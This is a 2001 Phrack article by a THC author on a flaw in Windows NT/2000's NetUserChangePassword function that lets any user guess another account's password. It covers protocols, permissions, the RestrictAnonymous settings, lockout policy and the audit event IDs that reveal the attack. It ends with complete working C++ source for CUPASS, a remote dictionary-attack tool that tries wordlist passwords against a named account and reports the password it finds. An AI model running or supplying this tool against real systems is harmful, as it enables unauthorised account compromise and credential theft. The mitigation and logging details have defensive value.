                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x39, Phile #0x10 of 0x12

|=---------=[ CUPASS AND THE NETUSERCHANGEPASSWORD PROBLEM ]=------------=|
|=-----------------------------------------------------------------------=|
|=-------=[ Doc Holiday / THC <holiday@TheHackersChoice.com> ]=----------=|



----|  INTRODUCTION



Microsoft has a known problem in Windows NT 4, that enables an attacker
to change the password of any user under special/default circumstances.


The same problem reappeared in Windows 2000 some days ago. The flaw exists
in Microsofts implementation of the NetUserChangePassword function.


These facts inspired me to write this article and CUPASS, a simple tool 
that starts a dictionary attack against user accounts. 


In this article I want to discuss all things worth knowing about the 
NetUserChangePassword problem.


Have fun while reading this article...


Doc Holiday /THC




----| THE PASSWORD CHANGE PROTOCOLS


As a little background I will tell you something about the possibilites
to change a password in a Windows NT/W2K environment.


Windows 2000 supports several protocols for changing passwords which
are used under different circumstances. 


These protocols are 


- NetUserChangePassword protocol (we will call it NUCP)
- NetUserSetInfo protocol
- Kerberos change-password protocol
- Kerberos set-password protocol
- LDAP write-password attribute (presumes 128Bit SSL)
- XACT-SMB protocol (for LAN Manager compatibility)


Because there is a flaw in Microsofts implementation of the NUCP protocol,
we will have a deeper look at this one.



----| PROTOCOL ELECTION


We can see that there are a lot of protocols for changing passwords in an 
Microsoft environment. Now I will show in which cases the NUCP is used:


case 1
------


If a user changes his password by pressing CTRL+ALT+DELETE and pressing the 
"Change Password" button, the NUCP protocol is used, if the target is a
domain or the local member server or workstation.


If the target is a Kerberos realm, the Kerberos change-password protocol is 
used instead of NUCP.


case 2
------


If a change password request is initiated from an Windows NT 3.x or NT 4
machine, the NUCP and/or NetUserSetInfo protocols are used.


case 3
------


If a program uses the NUCP method on the Active Directory Services
Interface (ADSI), the IaDSUser interface first tries to change the
password with the LDAP protocol, and then by using the NUCP method.




----| NUCP FUNCTION CALL


At this time we know that a lot of ways exist to change a users 
password. We also know in which cases NUCP is used.


Now we want to have a little look at the function NetUserChangePassword
itself. (More detailed information can be found at Microsoft's SDK!)



Prototype
---------


The prototype of the NetUserChangePassword function is defined in
"lmaccess.h", and looks as follows:



NET_API_STATUS NET_API_FUNCTION
NetUserChangePassword (
    IN  LPCWSTR   domainname OPTIONAL,
    IN  LPCWSTR   username OPTIONAL,
    IN  LPCWSTR   oldpassword,
    IN  LPCWSTR   newpassword
    );



The parameters are explained consecutively:



Parameters
----------


->domainname
  ----------


  Pointer to a null-terminated Unicode string that specifies the name of a 
  remote server or domain. 


->username
  --------


  Pointer to a null-terminated Unicode string that specifies a user name. 


->oldpassword
  -----------


  Pointer to a null-terminated Unicode string that specifies the user's
  old password on the server or domain. 


->newpassword
  -----------


  Pointer to a null-terminated Unicode string that specifies the user's new
  password on the server or domain.  



Return values
-------------


The return values are defined in "LMERR.H" and "WINERROR.H".


With a deeper look in this files we can see that if the function was executed
with success, the return value is 0 (zero) btw. NERR_Success.



The most important error values are:


->ERROR_ACCESS_DENIED (WINERROR.H)
  --------------------------------


  Access is denied ;)


  If the target is a NT Server/Domain Controller, and the
  option "User Must Log On in Order to Change Password" is enabled,
  this error code is the result of CUPASS. The password could
  not be guessed :(


  If the target is a W2K domain controller with AD installed,
  and the EVERYONE group is removed from the group
  "Pre-Windows 2000 compatible access", than this error code
  is an result of NUCP.


  In some cases this means the right password was guessed by
  CUPASS, but could not be changed because of insufficient
  permissions on the corresponding AD object.



->ERROR_INVALID_PASSWORD (WINERROR.H)
  -----------------------------------


  The guessed password (oldpassword) was invalid



->ERROR_ACCOUNT_LOCKED_OUT (WINERROR.H)
  -------------------------------------


  The account is locked due to many logon tries.



->ERROR_CANT_ACCESS_DOMAIN_INFO (WINERROR.H)
  ------------------------------------------


  Indicates a Windows NT Server could not be contacted or that
  objects within the domain are protected such that necessary
  information could not be retrieved.



->NERR_UserNotFound (LMERR.H)
  ---------------------------


  The useraccount could not be found on the given server.



->NERR_NotPrimary (LMERR.H)
  -------------------------


  The operation is only allowed on the PDC. This appears e.g. if 
  you try to change passwords on a BDC.



This return values are evaluated by CUPASS. For all others, the numeric
value will be shown, and you can simply have a look at this files for 
the meaning of the errorcode.




MORE DETAILS ON NUCP API CALL
-----------------------------


The NUCP function is only available on Windows NT and Windows 2000
platforms.


As part of the LanMan-API the NUCP function is UNICODE only!!! 
This makes the programming a little bit harder, but not impossible :)


UNICODE on Windows is an topic for itself, and we dont want to talk more
about it here. Have a look at Microsofts msdn webpage or Charles
Petzolds book about Windows programming, if you are interested in this
topic.


For a successfull usage of NUCP, you have to link your program with the 
"Netapi32.lib" library!




----| REQUIRED PERMISSIONS FOR NUCP 


NUCP is part of the Microsoft network management functions.
The management functions consists of different groups like
NetFileFunctions, ScheduleFunctions, ServerFunctions, UserFunctions etc.


These functions are again splitted in Query Functions and Update Functions. 
Whilst query functions just allow to query informations, the update
functions allow changes on objects.


An example for a query function is e.g the NetUserEnum function which
provides information about all user accounts on a server. 


An example for an update function is the NetUserChangePassword function
which changes the password of a user account :)


Its easy to imagine, that query functions need less permissions than update
functions for beeing executed.



Lets have a look what permissions are needet:



WINDOWS NT
----------


The query functions like NetGroupEnum, NetUserEnum etc. and can be
executed by all authenticated users.


This includes Anonymous users, if the RestrictAnonymous policy setting
allows anonymous access.


On a Windows NT member server, workstation or PDC, the
NetUserChangePassword function can only be (successfull) executed by
Administrators, Account Operators or the user of the account, if the option
'User Must Log On in Order to Change Password' for this user is enabled.


If 'User Must Log On in Order to Change Password'  is not enabled, a user can
change the password of any other user, as long he knows the actual password.



WINDOWS 2000
------------


The query functions like NetGroupEnum, NetUserEnum etc. can be executed by
all authenticated users. This includes Anonymous users, if the
RestrictAnonymous policy setting allows anonymous access.


On a W2K member server or workstation the NetUserChangePassword function
should only be (successfully) executable by Administrators, Account
Operators or the user of the account.


That this isn't the case, can be shown with CUPASS, because here is the
flaw that Microsoft made with his implementation of NetUserChangePassword.


On W2K member servers and workstations, the NetUserChangePassword function
can be successfully executed by any user who knows the current password of
the attacked user account.



( For your information:


The option 'User Must Log On in Order to Change Password' has been removed
>from W2K! )



On a W2K domain controller with Active Directory, access to an object is
granted based on the ACL of the object (Because W2K with installed AD
stores the user passwords in the AD in contrast to NT 3.x/4).


Network management query functions are permitted to all authenticated
users and the members of the group "Pre-Windows 2000 compatible access"
by the default ACL's.


Theoretical Network Management Update functions like NUCP are only
permitted to Administrators and Account Operators.


That this is not the case, can also be shown with CUPASS.


CUPASS works fine if AD is installed on the target system.


If the "everyone" group is removed from the
"Pre-Windows 2000 compatible access" group, the result of CUPASS will
be Errorcode 5, which means ACCESS_DENIED!.


My research shows that anyhow the password is guessed by CUPASS, but
can not be changed because of insufficient permissions on the AD object!



----| ANONYMOUS CONNECT


There is something I didn't talk about much, the Anonymous User Problem,
also known as the NULL-User problem.


Lets have a short look at how the Anonymous security settings will take affect
to the NUCP problem:


-> W2K
   ---


   The value Data of the following registry value regulates the behaviour
   of the operating system regarding to the NULL USER CONNECT.


   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA 
   Value: RestrictAnonymous
   Value Type: REG_DWORD


   If RestrictAnonymous is set to 0 (zero), which is the default setting,
   CUPASS will work properly.


   If RestrictAnonymous is set to 1, what means the enumeration of SAM
   accounts and names is not allowed, CUPASS will work properly.
  
   If RestrictAnonymous is set to 2, what means no access without explicit
   anonymous permissions, there is no possibility to change the password
   with NUCP :(
   
   Because the value 2 has comprehensive consequences to the behaviour of
   the windows environment (e.g. Browser service will not work properly,
   netlogon secure channels could not be established properly by member
   workstations etc..) it is rare used. 


   These settings are the same on W2K member server and W2K DC with AD!



-> NT4
   ---
 
   The value Data of the following registry value regulates the behaviour
   of the operating system regarding to the NULL USER CONNECT.


   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA 
   Value: RestrictAnonymous
   Value Type: REG_DWORD


   Converse to W2K there are only two valid values 0 (zero) and 1 for
   RestrictAnonymous.


   If RestrictAnonymous is set to 0 (zero), which is the default setting,
   CUPASS will work properly.


   If RestrictAnonymous is set to 1, what means the enumeration of SAM
   accounts and names is not allowed, CUPASS will work properly.






COMMON
------


The process that calls the NetUserChangePassword function in some cases
must have the SE_CHANGE_NOTIFY_NAME privilege
(except for system account and members of the local Administrator group).
Per default this privilege is enabled for every account, but can be
disabled by the administrator.


SE_CHANGE_NOTIFY_NAME could not be found at the privileges,
because it is called "Bypass traverse checking"!


This is an declarative from Microsoft. I tried it, but I didn't find a case
in that this right was necessary to execute the NUCP function call.




----| POLICY AND LOGGING


I will have a look for the policy settings, that will take affect to the
NUCP problem.



ACCOUNT POLICIES
----------------


->PASSWORD POLICY
  ---------------
  
  The settings "Enforce password history" and  "Minimum password age"
  will take effect to the result of CUPASS, in the way that CUPASS can't
  "realy" change the password, and the error code 2245 will result. 
 
  But this doesn't matter, because we know the "old" password at this time,
  and CUPASS just tried to replace the "old" password with the "old"
  password again.
    


->ACCOUNT LOGOUT POLICY
  ---------------------
 
  Account lockout treshold
  ------------------------


  The settings "Account lockout duration" and
  "Reset Account lockout after ..." are only relevant if the
  "Account lockout treshold" ist set to any value >0.


  If the treshold is set, than this takes affect to the work of CUPASS,
  because all attempts of CUPASS exceeding the treshold will lead to an
  account lockout :(


  However the Logout Policy ist not valid for the Administrator on NT4
  environments, until the NT Reskit tool "Passprop" is used!
  In this case even the Administator account will be locked
  for network logons!


  If we start CUPASS against any account of a W2K server or a W2K domain
  controller with AD, this account is locked out, and even the
  Administrator account is marked as "Account is locked out", too !


  But it is still possible for the Administrator account to log on
  interactive on the machine!


  
  



AUDIT POLICY
------------


  Lets have a look which auditing events have to enabled, to see an
  CUPASS attack in the security logs of the target machine.


  
  Audit Account Management
  ------------------------


  If the setting "Audit Account Management" is enabled (success/failure),
  an entry with the ID 627 appears in in the security log.


  This entry contains all necessary datas for the administrator :(
  These e.g. are: Date, Time, Target Account Name, Caller User Name etc.


  
  Audit account logon events
  --------------------------


  Surprisingly for some administrators, there appears no log entry if
  the settings "Audit account logon events" or "Audit logon events"
  are enabled, if the attack goes to the local machine.


  This is e.g. the case if you want to guess the local administrator
  password of your machine.


  If the CUPASS attack comes from remote, log entries ID 681 and ID 529
  occures.



  Audit Object Access
  -------------------
  
  If this type of auditing is enabled, and the attack goes to the
  local machine, an logfile entry with the ID 560 and 562 appears.


  ID 560 tells us that someone opened the object
  "Security Account Manager" whilst 562 tells us something like
  "Handle closed"...



Maybe there occure some more logfile entries with other ID's, but these
ones listed above are the ones I found while testing CUPASS.


So test CUPASS on your own environment and have a look into your logfiles!




----| LAST WORDS


I hope this article could give you a little overview about the
NetUserChangePassword problem, and Microsoft's inconsequent implementation
of security and function calls.


This article could not treat this topic concluding, because there are
so many different situations and configurations that I could not test
in my short sparetime :)



----| GREETS


Greets to Van Hauser who inspired me for this release, ganymed, mindmaniac
and all the other members from THC, VAX who gives me a lift to HAL2001,
the guys from TESO, Seth, Rookie and all the other people knowing me...


The biggest THANX are going to my wife, who missed me nearly the whole
weekend while I was writing this article!
 
Ok, have a nice day and lets meet and party at HAL2001 :)



<++> cupass.cpp !a10c7302
/*
 * CUPASS v1.0 (c) 2001 by Doc Holiday / THC <Holiday@TheHackersChoice.com>
 * http://www.hackerschoice.com
 *
 * Dictionary Attack against Windows Passwords with NetUserChangePassword.
 * Do only use for legal purposes.
 * 
 * Compiled and tested on Windows NT/W2K - runs not on Win9x!!
 * Compiled with VC++ 6.0
 *
 */


#define UNICODE 1
#define _UNICODE 1


#include <windows.h>
#include <lmaccess.h>
#include <stdio.h>
#include <wchar.h>


#pragma comment( lib, "netapi32.lib" )



void wmain( int argc, wchar_t *argv[] )
{
        wchar_t *hostname = 0; 
        wchar_t *username = 0; 
        wchar_t *dictfile = 0; 
        wchar_t myChar[256];
        NET_API_STATUS result;
        FILE *stream;
        LPWSTR oldpassword; 


        if (argc != 4)
        { 
        wprintf (L"\nMissing or wrong parameters!\n"); 
            wprintf (
               L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
            exit(1);
        }


        hostname = argv[1];
        username = argv[2];
        dictfile = argv[3];


    if (wcsncmp(hostname, L"\\\\",2 )!=0)
        {
            wprintf (L"\nups... you forgot the double backslash?");
            wprintf (
                L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
            exit(1);
        }


  if( (stream  = _wfopen( dictfile, L"r" )) == NULL )
        {
      wprintf( L"\nups... dictionary %s could not be opened", dictfile );
      wprintf (L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
        }
   else
   {
        
        wprintf (L"\n*** CUPASS 1.0 - Change User PASSword - by Doc Holiday/THC (c) 2001 ***\n");
        wprintf (L"\nStarting attack .....\n");
        wprintf (L"\nTarget: %s ", hostname);
        wprintf (L"\nUser: %s\n ", username);


        while( !feof( stream ) )
        {
          fgetws (myChar, 256,stream);


          if (myChar[wcslen(myChar)-1] == '\r') myChar[wcslen(myChar)-1] = '\0';
          if (myChar[wcslen(myChar)-1] == '\n') myChar[wcslen(myChar)-1] = '\0';


          oldpassword = myChar;
   
          wprintf( L"\nTrying password %s \n", oldpassword );
                
          result = NetUserChangePassword( hostname, username,oldpassword, oldpassword );
                
          switch (result)
          {
                case 0: 
                        wprintf( L"GOTCHA!! Password was changed\n" );
                        wprintf( L"\nPassword from user '%s' is '%s'\n", username, oldpassword);
                        fclose (stream);
                        exit (1);
                        break;
                        
                case 5: //ERROR_ACCESS_DENIED
                        wprintf (L"Attempt failed -> ERROR_ACCESS_DENIED - \
But password could be %s\n", oldpassword);
                        fclose (stream);
                        exit(1);
                        break;
                        
                case 86: //ERROR_INVALID_PASSWORD
                        wprintf( L"Attempt failed -> Incorrect password\n" );
                        break;
                        
                case 1351: //ERROR_CANT_ACCESS_DOMAIN_INFO 
                        wprintf (L"Attempt failed -> Can't establish connection to Host %s\n",hostname);
                        fclose (stream);
                        exit(1);
                        break;


                case 1909: //ERROR_ACCOUNT_LOCKED_OUT
                        wprintf (L"Attempt failed -> Account locked out\n");
                        fclose (stream);
                        exit(1);
                        break;


                case 2221: //NERR_UserNotFound) 
                        wprintf (L"Attempt failed -> User %s not found\n", username);
                        fclose (stream);
                        exit(1);                   
                        break;
                        
                case 2226://NERR_NotPrimary
                        wprintf (L"Attempt failed -> Operation only allowed on PDC\n");
                        break;


                case 2245:
                        wprintf (L"GOTCHA!! Password is '%s' , but \
couldn't be changed to '%s' due to password policy settings!\n", \
oldpassword, oldpassword);
                        fclose(stream);
                        exit(1);
                        break;


                default:
                        wprintf( L"\nAttempt failed :( %lu\n", result );
                        fclose(stream);
                        exit(1);
                        break;
                }
        }
        fclose (stream); 
   }    
}
<--> end cupass.cpp

|=[ EOF ]=---------------------------------------------------------------=|

